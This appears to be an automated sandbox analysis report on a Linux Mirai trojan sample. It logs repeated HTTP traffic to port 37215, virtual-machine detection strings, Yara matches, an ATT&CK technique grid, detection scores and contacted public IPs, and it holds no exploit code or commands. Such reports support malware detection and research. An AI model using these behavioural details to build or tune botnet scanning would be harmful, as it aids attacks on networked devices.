Source: unknown	Network traffic detected: HTTP traffic on port 35230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53490 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42002 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 44808
Source: unknown	Network traffic detected: HTTP traffic on port 46928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37860 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37530 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56178 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58106 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35230 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53472 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46874 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40060 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43482 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49044 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59126 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38580 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51678 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59118 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41342 -> 37215

Source: /usr/bin/find (PID: 6262)	Queries kernel information via 'uname':			Jump to behavior
Source: /tmp/mW6l0hEXP3 (PID: 6310)	Queries kernel information via 'uname':			Jump to behavior

Source: /usr/sbin/logrotate (PID: 6202)	Truncated file: /var/log/cups/access_log.1	Jump to behavior
Source: /usr/sbin/logrotate (PID: 6202)	Truncated file: /var/log/syslog.1	Jump to behavior
Source: /usr/sbin/logrotate (PID: 6202)	Truncated file: /var/log/kern.log.1	Jump to behavior
Source: /usr/sbin/logrotate (PID: 6202)	Truncated file: /var/log/auth.log.1	Jump to behavior

Source: 6268.20.dr	Binary or memory string: -9915837702310A--gzvmware kernel module
Source: 6268.20.dr	Binary or memory string: -1116261022170A--gzQEMU User Emulator
Source: 6268.20.dr	Binary or memory string: qemu-or1k
Source: mW6l0hEXP3, 6310.1.0000564977235000.0000564977386000.rw-.sdmp, mW6l0hEXP3, 6315.1.0000564977235000.0000564977363000.rw-.sdmp	Binary or memory string: $wIV!/etc/qemu-binfmt/arm
Source: 6268.20.dr	Binary or memory string: qemu-riscv64
Source: 6268.20.dr	Binary or memory string: {cqemu
Source: 6268.20.dr	Binary or memory string: qemu-arm
Source: 6268.20.dr	Binary or memory string: (qemu
Source: 6268.20.dr	Binary or memory string: qemu-tilegx
Source: 6268.20.dr	Binary or memory string: qemu-hppa
Source: 6268.20.dr	Binary or memory string: q{rqemu%
Source: 6268.20.dr	Binary or memory string: )qemu
Source: 6268.20.dr	Binary or memory string: vmware-toolbox-cmd
Source: 6268.20.dr	Binary or memory string: qemu-ppc
Source: 6268.20.dr	Binary or memory string: Tqemu9
Source: 6268.20.dr	Binary or memory string: qemu-aarch64_be
Source: 6268.20.dr	Binary or memory string: 0qemu9
Source: 6268.20.dr	Binary or memory string: qemu-sparc64
Source: 6268.20.dr	Binary or memory string: qemu-mips64
Source: 6268.20.dr	Binary or memory string: vV:qemu9
Source: 6268.20.dr	Binary or memory string: qemu-ppc64le
Source: 6268.20.dr	Binary or memory string: <glib::param::uint64Glib::Param::UInt643pm315820097650A--gzWrapper for uint64 parameters in GLibx86_64-linux-gnu-ld.gold-1116112426130B--gzThe GNU ELF linkerprinter-profile-1115804162510A--gzProfile using X-Rite ColorMunki and Argyll CMSgrub-fstest-1116214898500A--gzdebug tool for GRUB filesystem driversxdg-user-dir-1115483406210A--gzFind an XDG user dirkmodsign-1115569251480A--gzKernel module signing toolsensible-editor-1115739932820A--gzsensible editing, paging, and web browsingminesMines6615854478170Cgnome-mines-gzinputattach-1115708189280A--gzattach a serial line to an input-layer devicegapplication-1116155671180A--gzD-Bus application launcherip-tunnel-8815816145190A--gztunnel configurationkoi8rxterm-1116140167530A--gzX terminal emulator for KOI8-R environmentsfoo2hiperc-wrapper-1115804162510A-tgzConvert Postscript into a HIPERC printer streamcryptsetup-reencrypt-8816002888050A--gztool for offline LUKS device re-encryptionsyndaemon-1115861716810A--gza program that monitors keyboard activity and disables the touchpad when the keyboard is being used.gslj-1115980290200B--gzFormat and print text for LaserJet printer using ghostscriptfile2brl-1115757179490A--gzTranslate an xml or a text file into an embosser-ready braille filexfdesktop-settings-1115793419820A--gzDesktop settings for Xfceua-1115856013570B--gzManage Ubuntu Advantage services from Canonicallatin4-7715812813670B--gzISO 8859-4 character set encoded in octal, decimal, and hexadecimalsane-genesys-5516003468200A--gzSANE backend for GL646, GL841, GL843, GL847 and GL124 based USB flatbed scannerspdftohtml-1115853266670A--gzprogram to convert PDF files into HTML, XML and PNG imagesbluetooth-sendto-1116015653360A--gzGTK application for transferring files over Bluetoothqemu-ppc64-1116261022170B--gzQEMU User Emulatorcache_metadata_size-8815811608350A--gzEstimate the size of the metadata device needed for a given configuration.net::dbus::exporterNet::DBus::Exporter3pm315773746310A--gzExport object methods and signals to the bussane-pint-5516003468200A--gzSANE backend for scanners that use the PINT device driverbpf-helpers7-7715812813670A--gzlist of eBPF helper functionsfull-4415812813670A--gzalways full devicelogin-1115906478670A--gzbegin session on the systemcups-snmp-8815877390340A--gzcups snmp backend (deprecated)ordchr-3am315728089600A--gzconvert characters to strings and vice versasosreport-1116092694050A--gzCollect and package diagnostic and support datatop-1115827827270A--gzdisplay Linux processesuri::_punycodeURI::_punycode3pm315811897880A--gzencodes Unicode string in Punycodettytty4tty1systemd-localed-8816268940210B--gzLocale bus mechanismlvmsadc-8815816289110
Source: 6268.20.dr	Binary or memory string: vmware
Source: 6268.20.dr	Binary or memory string: qemu-cris
Source: 6268.20.dr	Binary or memory string: libvmtools
Source: 6268.20.dr	Binary or memory string: qemu-m68k
Source: 6268.20.dr	Binary or memory string: qemu-xtensa
Source: 6268.20.dr	Binary or memory string: 9qemu
Source: 6268.20.dr	Binary or memory string: qemu-sh4
Source: 6268.20.dr	Binary or memory string: Dprezip-bin-1116269780060A--gzprefix zip delta word list compressor/decompressornameif-8815490444730A--gzname network interfaces based on MAC addressesxdg-user-dirs-update-1115483406210A--gzUpdate XDG user dir configurationip-link-8815816145190A--gznetwork device configurationhpsa-4415812813670A--gzHP Smart Array SCSI driverhd4-4415812813670A--gzMFM/IDE hard disk devicessane-canon630u-5516003468200A--gzSANE backend for the Canon 630u USB flatbed scannersg_copy_results-8815825816070A--gzsend SCSI RECEIVE COPY RESULTS command (XCOPY related)grub-macbless-8816214898500A--gzbless a mac file/directoryntfstruncate-8815568625640A-tgztruncate a file on an NTFS volumelessfile-1115936459130B--gz"input preprocessor" for less.sane-artec-5516003468200A--gzSANE backend for Artec flatbed scannersrmdir-1115676799200A--gzremove empty directoriessystemd-networkd-wait-online.service-8816268940210A--gzWait for network to come onlinemkfs.ntfs-8815568625640B-tgzcreate an NTFS file systemsg_inq-8815825816070A--gzissue SCSI INQUIRY command and/or decode its responseradattr.so-8815955079440Cpppd-radattr-gzc_rehash-1ssl116164130370B--gzCreate symbolic links to files named by the hash valuestc-htb-8815816145190A--gzHierarchy Token Bucketgvfs-open-1115868766090A--gzsg_rbuf-8815825816070A--gzreads data using SCSI READ BUFFER commandglib-compile-schemas-1116155671180A--gzGSettings schema compileropenssl-srp-1ssl116164130370B--gzmaintain SRP password fileopenssl-rehash-1ssl116164130370B--gzCreate symbolic links to files named by the hash valueslibvmtools-3315837702310A--gzvmware shared librarypasswd5-5515906478670A--gzthe password filenet::dbus::dumperNet::DBus::Dumper3pm315773746310A--gzStringify Net::DBus objects suitable for printingsane-hp4200-5516003468200A--gzSANE backend for Hewlett-Packard 4200 scannersposixoptions-7715812813670A--gzoptional parts of the POSIX standardnetworkmanager.confNetworkManager.conf5516002723180A--gzNetworkManager configuration fileownership-8815771238010A--gzCompaq ownership tag retrieveroakdecode-1115804162510A--gzDecode an OAKT printer stream into human readable form.gvfs-save-1115868766090A--gzmkfs.minix-8815953177680A--gzmake a Minix filesystemuri7-7715812813670A--gzuniform resource identifier (URI), including a URL or URNedit-1115714399500B--gzexecute programs via entries in the mailcap filegit-diff-files-1116148628880A--gzCompares files in the working tree and the index.ldaprc-5516136581350Cldap.conf-gzpactl-1116219586470A--gzControl a running PulseAudio sound servertempfile-1115756848240A--gzcreate a temporary file in a safe mannerhp-check-1115857238880A--gzDependency/Vers
Source: mW6l0hEXP3, 6310.1.0000564977235000.0000564977386000.rw-.sdmp, mW6l0hEXP3, 6315.1.0000564977235000.0000564977363000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: 6268.20.dr	Binary or memory string: .qemu{
Source: 6268.20.dr	Binary or memory string: qemu-ppc64abi32
Source: 6268.20.dr	Binary or memory string: qemu-ppc64
Source: 6268.20.dr	Binary or memory string: qemu-i386
Source: 6268.20.dr	Binary or memory string: qemu-x86_64
Source: 6268.20.dr	Binary or memory string: H~6\nqemu*q
Source: 6268.20.dr	Binary or memory string: @qemu
Source: 6268.20.dr	Binary or memory string: Fqqemu
Source: 6268.20.dr	Binary or memory string: N4qemu
Source: 6268.20.dr	Binary or memory string: ~6\nqemu*q
Source: 6268.20.dr	Binary or memory string: qemu-mips64el
Source: 6268.20.dr	Binary or memory string: hqemu
Source: 6268.20.dr	Binary or memory string: &mqemu
Source: 6268.20.dr	Binary or memory string: $qemu
Source: 6268.20.dr	Binary or memory string: qemu-sparc
Source: 6268.20.dr	Binary or memory string: qemu-microblaze
Source: 6268.20.dr	Binary or memory string: qemu-user
Source: 6268.20.dr	Binary or memory string: qemu-aarch64
Source: 6268.20.dr	Binary or memory string: qemu-sh4eb
Source: 6268.20.dr	Binary or memory string: iqemu
Source: 6268.20.dr	Binary or memory string: qemu-mipsel
Source: 6268.20.dr	Binary or memory string: qemuP`
Source: 6268.20.dr	Binary or memory string: qemu-alpha
Source: 6268.20.dr	Binary or memory string: qemu-microblazeel
Source: 6268.20.dr	Binary or memory string: \qemu
Source: 6268.20.dr	Binary or memory string: qemu-xtensaeb
Source: 6268.20.dr	Binary or memory string: qemu-mipsn32el
Source: 6268.20.dr	Binary or memory string: SAqemu
Source: 6268.20.dr	Binary or memory string: Vqemu
Source: 6268.20.dr	Binary or memory string: qemu-mipsn32
Source: 6268.20.dr	Binary or memory string: qemuAU
Source: 6268.20.dr	Binary or memory string: qemu-riscv32
Source: 6268.20.dr	Binary or memory string: qemu-sparc32plus
Source: 6268.20.dr	Binary or memory string: 7,qemu
Source: 6268.20.dr	Binary or memory string: qemu-s390x
Source: 6268.20.dr	Binary or memory string: vmware-checkvm
Source: mW6l0hEXP3, 6310.1.00007ffe9c96d000.00007ffe9c98e000.rw-.sdmp, mW6l0hEXP3, 6315.1.00007ffe9c96d000.00007ffe9c98e000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/mW6l0hEXP3SUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mW6l0hEXP3
Source: 6268.20.dr	Binary or memory string: qemu-nios2
Source: 6268.20.dr	Binary or memory string: qemu-armeb
Source: 6268.20.dr	Binary or memory string: -4415868968400A--gzVMware SVGA video driver
Source: 6268.20.dr	Binary or memory string: 7xml::parser::style::streamXML::Parser::Style::Stream3pm315701248990A--gzStream style for XML::Parsersystemd-timedated-8816268940210B--gzTime and date bus mechanismxfce4-keyboard-settings-1115867081120A--gzKeyboard settings for Xfcepygettext2-1115841026830B--gzPython equivalent of xgettext(1)sudoedit-8816110660620B--gzexecute a command as another userintro7-7715812813670A--gzintroduction to overview and miscellany sectionsprof-1115812813670A--gzread and display shared object profiling datadhclient.conf-5516219398220A--gzDHCP client configuration filepam_group-8815953742440A--gzPAM module for group accesssystemd-ask-password-1116268940210A--gzQuery the user for a system passwordupdate-dictcommon-hunspell-8815422954860A--gzrebuild hunspell database and emacsen stuffqemu-nios2-1116261022170B--gzQEMU User Emulatorlwp::useragentLWP::UserAgent3pm315750405830A--gzWeb user agent classgpgcompose-1115838662460A--gzGenerate a stream of OpenPGP packetsecho-1115676799200A--gzdisplay a line of textio::socket::ssl::utilsIO::Socket::SSL::Utils3pm315817106800A--gz- loading, storing, creating certificates and keyscurl-1116268709580A--gztransfer a URLgetcap-8815819434600A--gzexamine file capabilitieszegrep-1115762517060B--gzsearch possibly compressed files for a regular expressiongrub-syslinux2cfg-1116214898500A--gztransform syslinux config into grub.cfgrtc-4415812813670A--gzreal-time clockglib::codegenGlib::CodeGen3pm315820097650A--gzcode generation utilities for Glib-based bindings.wpa_cli-8816146062790A--gzWPA command line clientiso_8859_3-7715812813670B--gzISO 8859-3 character set encoded in octal, decimal, and hexadecimaliso_8859-9-7715812813670A-tgzISO 8859-9 character set encoded in octal, decimal, and hexadecimallvextend-8815816289110A--gzAdd space to a logical volumeresolvectl-1116268940210A--gzResolve domain names, IPV4 and IPv6 addresses, DNS resource records, and services; introspect and reconfigure the DNS resolverchgrp-1115676799200A--gzchange group ownershipsystemd-cgls-1116268940210A--gzRecursively show control group contentspygettext3.8-1113852085880A--gzPython equivalent of xgettext(1)ping4-8815804258830B--gzsend ICMP ECHO_REQUEST to network hostsidmapwb-8816000845410A--gzwinbind ID mapping plugin for cifs-utilsapturl-gtk-8815799493830B--gzgraphical apt-protocol interpreting package installersane-epsonds-5516003468200A--gzSANE backend for EPSON ESC/I-2 scannersgvfs-monitor-file-1115868766090A--gzrstart-1115829564830A--gza sample implementation of a Remote Start clientgit-stage-1116148628880A--gzAdd file contents to the staging areatc-pedit-8815816145190A--gzgeneric packet editor actioniptables-save-881582899
Source: 6268.20.dr	Binary or memory string: I_qemu
Source: mW6l0hEXP3, 6310.1.00007ffe9c96d000.00007ffe9c98e000.rw-.sdmp, mW6l0hEXP3, 6315.1.00007ffe9c96d000.00007ffe9c98e000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: 6268.20.dr	Binary or memory string: -1116261022170B--gzQEMU User Emulator
Source: 6268.20.dr	Binary or memory string: -3315837702310A--gzvmware shared library
Source: 6268.20.dr	Binary or memory string: qemu-mips
Source: 6268.20.dr	Binary or memory string: qemuj\
Source: 6268.20.dr	Binary or memory string: {qemuQ&
Source: 6268.20.dr	Binary or memory string: Wgnome-text-editor-111629209547491759146B--gztext editor for the GNOME Desktopx11::protocol::connection::filehandleX11::Protocol::Connection::FileHandle3pm314314075500A--gzPerl module base class for FileHandle-based X11 connectionshtbHTB8815816145190Ctc-htb-gzcifscreds-1116000845410A--gzmanage NTLM credentials in kernel keyringiwconfig-8815490049440A--gzconfigure a wireless network interfaceossl_store-file-7ssl716164130370A--gzThe store 'file' scheme loadertc-stab-8815816145190A--gzGeneric size table manipulationsnotifier-7715877390340A--gzcups notification interfaceqemu-arm-1116261022170B--gzQEMU User EmulatorgemfileGemfile5516263767190Cgemfile2.7-gzglib::object::subclassGlib::Object::Subclass3pm315820097650A--gzregister a perl class as a GObject classnetcat-111612200165426646725B--gzarbitrary TCP and UDP connections and listensdpkg::changelog::parseDpkg::Changelog::Parse3perl315849439740A--gzgeneric changelog parser for dpkg-parsechangelogmpris-proxy-1116243432320A--gzBluetooth mpris-proxybundle-pristine2.7-1116263767190A--gzRestores installed gems to their pristine conditionfsck.ext3-8815816604980B--gzcheck a Linux ext2/ext3/ext4 file systemvolname-1115625752510A--gzreturn volume nameiso-8859-9-7715812813670B--gzISO 8859-9 character set encoded in octal, decimal, and hexadecimalheadhead1HEAD1psd-4415812813670A--gzdriver for SCSI disk driveschrt-1115953177680A--gzmanipulate the real-time attributes of a processvcs-4415812813670A--gzvirtual console memorygit-upload-archive-1116148628880A--gzSend archive back to git-archivenet::dbus::binding::message::errorNet::DBus::Binding::Message::Error3pm315773746310A--gza message encoding a method call errorpkcs11.conf-5516097870510A--gzConfiguration files for PKCS#11 modulessfill-1115227593860A--gzsecure free disk and inode space wiper (secure_deletion toolkit)ldattach-8815953177680A--gzattach a line discipline to a serial linethin_restore-8815811608350A--gzrestore thin provisioning metadata file to device or file.phar.phar7.4-1116254980150B--gzPHAR (PHP archive) command line toolbundle-outdated2.7-1116263767190A--gzList installed gems with newer versions availablemail::addressMail::Address3pm315640244160A--gzparse mail addressesopenssl-ca-1ssl116164130370B--gzsample minimal CA applicationchardet3-1115765858900A--gzuniversal character encoding detectorerb2.7-1116263767190A--gzRuby Templatingchktrust-1115826667350A--gzCheck the trust of a PE executable.sg_raw-8815825816070A--gzsend arbitrary SCSI command to a devicegvfs-trash-1115868766090A--gzintro1-1115812813670A--gzintroduction to user commandsmailcap-5515714399500A--gzmetamail capabilities filegigoloGigolo1gig
Source: 6268.20.dr	Binary or memory string: vmware-xferlogs

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: mW6l0hEXP3, type: SAMPLE
Source: Yara match	File source: 6310.1.00007fcc5c017000.00007fcc5c02b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6315.1.00007fcc5c017000.00007fcc5c02b000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: mW6l0hEXP3, type: SAMPLE
Source: Yara match	File source: 6310.1.00007fcc5c017000.00007fcc5c02b000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6315.1.00007fcc5c017000.00007fcc5c02b000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Scripting	1 Systemd Service	1 Systemd Service	1 Masquerading	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Scripting	LSASS Memory	1 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Indicator Removal on Host	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
mW6l0hEXP3	59%	Virustotal		Browse
mW6l0hEXP3	66%	ReversingLabs	Linux.Trojan.Mirai

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
152.180.133.64	unknown	United States	701	UUNETUS	false
138.81.2.80	unknown	Switzerland	3303	SWISSCOMSwisscomSwitzerlandLtdCH	false
186.69.168.171	unknown	Ecuador	14522	SatnetEC	false
196.219.188.37	unknown	Egypt	8452	TE-ASTE-ASEG	false
154.27.158.219	unknown	United States	32708	ROOTNETWORKSUS	false
122.131.13.225	unknown	Japan	2518	BIGLOBEBIGLOBEIncJP	false
156.89.9.183	unknown	United States	2386	INS-ASUS	false
54.10.18.16	unknown	United States	14618	AMAZON-AESUS	false
186.113.206.53	unknown	Colombia	3816	COLOMBIATELECOMUNICACIONESSAESPCO	false
196.134.79.111	unknown	Egypt	36935	Vodafone-EG	false
121.85.108.93	unknown	Japan	17511	OPTAGEOPTAGEIncJP	false
197.60.132.56	unknown	Egypt	8452	TE-ASTE-ASEG	false
95.19.23.96	unknown	Spain	12479	UNI2-ASES	false
156.253.18.64	unknown	Seychelles	137443	ANCHGLOBAL-AS-APAnchnetAsiaLimitedHK	false
58.159.43.205	unknown	Japan	17506	UCOMARTERIANetworksCorporationJP	false
41.44.233.248	unknown	Egypt	8452	TE-ASTE-ASEG	false
160.109.99.202	unknown	United States	1294	NTTDATA-SERVICES-AS1US	false
154.255.38.75	unknown	Algeria	36947	ALGTEL-ASDZ	false
92.150.193.36	unknown	France	3215	FranceTelecom-OrangeFR	false
